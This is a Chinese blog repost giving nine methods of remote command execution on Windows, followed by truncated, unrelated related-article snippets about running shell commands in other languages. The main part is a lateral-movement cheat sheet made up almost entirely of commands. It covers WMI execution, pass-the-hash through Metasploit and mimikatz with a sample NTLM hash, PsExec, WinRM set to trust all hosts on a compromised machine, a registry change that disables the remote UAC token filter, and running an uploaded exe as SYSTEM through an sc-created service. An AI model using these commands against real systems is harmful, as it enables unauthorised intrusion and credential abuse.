windows远程执行cmd命令的9种方法

一、远程执行命令方式及对应端口:

? IPC$+AT 445
? PSEXEC 445
? WMI 135
? Winrm 5985(HTTP)&5986(HTTPS)

二、9种远程执行cmd命令的方法:

1.WMI执行命令方式,无回显:

wmic /node:192.168.1.158 /user:pt007 /password:admin123  process call create "cmd.exe /c ipconfig>d:\result.txt"

2.使用Hash直接登录Windows(HASH传递)

抓取windows hash值,得到administrator的hash:
598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF

msf调用payload:
use exploit/windows/smb/psexec
show options
set RHOST 192.168.81.129
set SMBPass 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF
set SMBUser Administrator
show options
run

3. mimikatz传递hash方式连接+at计划任务执行命令:

mimikatz.exe privilege::debug "sekurlsa::pth /domain:. /user:administrator /ntlm:2D20D252A479F485CDF5E171D93985BF" //传递hash
dir \\192.168.1.185\c$

4.WMIcmd执行命令,有回显:

WMIcmd.exe -h 192.168.1.152 -d hostname -u pt007 -p admin123 -c "ipconfig"

程序下载地址:
https://github.com/nccgroup/WMIcmd/releases

5.Cobalt strkie远程执行命令与hash传递攻击:

6.psexec.exe远程执行命令

psexec /accepteula //接受许可协议
sc delete psexesvc
psexec \\192.168.1.185 -u pt007 -p admin123 cmd.exe

7.psexec.vbs远程执行命令

cscript psexec.vbs 192.168.1.158 pt007 admin123 "ipconfig"

8.winrm远程执行命令

//肉机上面快速启动winrm服务,并绑定到5985端口:
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
netstat -ano|find "5985"
//客户端连接方式:
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /all"
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 cmd
//UAC问题,修改后,普通管理员登录后也是高权限:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /groups"

9.远程命令执行sc

//建立ipc连接(参见net use + at)后上传等待运行的bat或exe程序到目标系统上,创建服务(开启服务时会以system 权限在远程系统上执行程序):

net use \\192.168.17.138\c$ "admin123" /user:pt007
net use
dir \\192.168.17.138\c$
copy test.exe \\192.168.17.138\c$
sc \\192.168.17.138 create test binpath= "c:\test.exe"
sc \\192.168.17.138 start test
sc \\192.168.17.138 del test

原文地址:https://www.cnblogs.com/pt007/p/11857274.html

时间: 2024-07-30 02:14:02

windows远程执行cmd命令的9种方法的相关文章

【erlang】执行linux命令的两种方法

os.cmd(Cmd) os模块提供了cmd函数可以执行linux系统shell命令(也可以执行windows命令).返回一个Cmd命令的标准输出字符串结果.例如在linux系统中执行os:cmd("date"). 返回linux的时间. 这种比较简单,一般情况下,也满足了大部分需求. erlang:open_port(PortName, PortSettings) 当os.cmd(Cmd) 满足不了你的需求的时候,就可以用强大的open_port(PortName, PortSett

在 Ruby 中执行 Shell 命令的 6 种方法

我们时常会与操作系统交互或在 Ruby 中执行 Shell 命令.Ruby为我们提供了完成该任务的诸多方法. Exec Kernel#exec 通过执行给定的命令来替换当前进程,例如: $ irb >> exec 'echo "hello $HOSTNAME"' hello codefun $ 注意 exec 利用 echo 命令替换了 irb 进程,然后退出.因为 Ruby 实际上结束了该方法,所以只能有限使用.该方法的缺点是,你无法从 Ruby 脚本中知道命令是执行成功

PHP在Windows上执行CMD命令的一个坑

需要将word,Excel,ppt转成HTML,以便在线预览. 解决方案:利用libroffice来转,大概就是下面这样的 "D:\Program Files (x86)\LibreOfficeDev 4\program\soffice.exe" --headless --convert-to html fuckphp这是中文.xls 用PHP来执行,失败,找了一天,未果,猜想可能是乱码了. 用golang写了接收命令参数并直接打印出来的小程序,用PHP执行,果然返回一堆乱码. 试着把

java学习总结(16.05.08)在windows下使用cmd命令行对java文件进行编译和执行

windows下利用cmd命令行可以调用jdk里的javac.exe和java.exe对java文件进行编译和执行,前提是jdk已成功安装并正确配置相关环境变量(jdk安装与环境变量的配置方法:http://blog.csdn.net/qq_32099621/article/details/51339868) 下面来说一下windows下如何使用cmd命令行来编译执行java文件 首先找到需要编译和执行的java文件 这里我要编译和执行这个java文件 按组合键win+r调出"运行",

Java远程执行Shell命令

1. Jar包:ganymed-ssh2-build210.jar 2. 步骤: a) 连接: Connection conn = new Connection(ipAddr); conn.connect(); b)认证: boolean authenticateVal = conn.authenticateWithPassword(userName, password); c) 打开一个Session: if(authenticateVal) Session session = conn.op

MySQL命令执行sql文件的两种方法

MySQL命令执行sql文件的两种方法 摘要:和其他数据库一样,MySQL也提供了命令执行sql脚本文件,方便地进行数据库.表以及数据等各种操作.下面笔者讲解MySQL执行sql文件命令的两种方法,希望能给刚开始学习 MySQL 数据库的朋友们. 学习过 SQLServer 或 Oracle 的朋友会知道,sql 脚本是包含一到多个 sql 命令的 sql 语句集合,我们可以将这些 sql 脚本放在一个文本文件中(我们称之为“sql 脚本文件”),然后通过相关的命令执行这个 sql 脚本文件.基

Atitit.执行cmd 命令行 php

Atitit.执行cmd 命令行 php 1. 执行cmd 命令行,调用系统命令的基础 1 1.1. 实际执行模式 1 1.2. 空格的问题 1 1.3. 中文路径的问题,程序文件读取编码设置 1 1.4. 回显乱码 2 2. exec,system等函数调用系统命令 2 3. php.ini,关掉安全模式safe_mode = off 3 4. 参考 3 1. 执行cmd 命令行,调用系统命令的基础 1.1. 实际执行模式 Processmonitor 检查.得到.. PID: 115372,

Linux远程执行shell命令

Linux远程执行shell命令 在Linux系统中,我们经常想在A机器上,执行B机器上的SHELL命令. 下面这种方案,是一种流行可靠的方案. 1.SSH无密码登录 # 本地服务器执行(A机器):生成密钥对 ssh-keygen -t dsa -P '' -f ~/.ssh/id_dsa # 远程服务器执行(B机器):用公钥给远程机器授权,首先需要将本地公钥拷贝到远程服务器上,远程机器授权全后,可以删除公钥 cat ~/.ssh/id_dsa.pub >> ~/.ssh/authorized

.Net执行cmd命令

using System;using System.Collections;using System.Configuration;using System.Data;using System.Linq;using System.Web;using System.Web.Security;using System.Web.UI;using System.Web.UI.HtmlControls;using System.Web.UI.WebControls;using System.Web.UI.W